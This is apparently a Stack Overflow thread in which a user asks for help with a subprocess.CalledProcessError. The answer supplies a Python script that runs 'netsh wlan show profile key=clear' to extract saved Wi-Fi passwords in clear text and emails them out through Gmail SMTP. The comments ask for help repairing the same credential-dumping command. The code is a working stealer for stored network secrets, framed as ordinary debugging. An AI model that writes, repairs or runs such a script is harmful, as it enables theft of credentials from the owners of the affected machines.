I'm facing an error called CalledProcessError in Subprocess.Check_output module. Can anyone fix this?
Asked
Active
Viewed 379 times
-1
-
Please post the code that is being executed and the process you are intending to run – possum Aug 16 '20 at 21:37
1 Answers
0
you program is returning a non zero status which means that an error occurred during the processing of the command. You probably want to add some argument to your subprocess.check_output command to fix that.
So i made some changes and i m still trying to get the Email pass Send main working. can you check if it works for you ?
import subprocess, smtplib, re
import sys
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))
result = ""
for network_name in network_names_list:
try:
print(network_name)
command = "netsh wlan show profile key=clear" + "".join(network_name)
current_result = str(subprocess.check_output(command, shell=True))
result = result + current_result
send_mail("email", "pass", result)
except subprocess.CalledProcessError as e:
raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))

Gautamrk
- 1,144
- 9
- 12
-
command = "netsh wlan show profile" + "".join(network_name) + "key = clear" current_result = subprocess.check_output(command, shell = True) Can u pls modify this? network_name contains saved networks on pc. – Sourav Bhaumik Aug 18 '20 at 15:16
-
Can you post the code that you are trying to execute and also more details about the environment you are working in ? – Gautamrk Aug 18 '20 at 17:25
-
paste.ofcode.org/34Wa333bbFQmMNFezg3vCTm Here is the code bro. Please go through this code pasting service. I tried too many times but cannot paste code in stackoverflow. – Sourav Bhaumik Aug 19 '20 at 07:47
-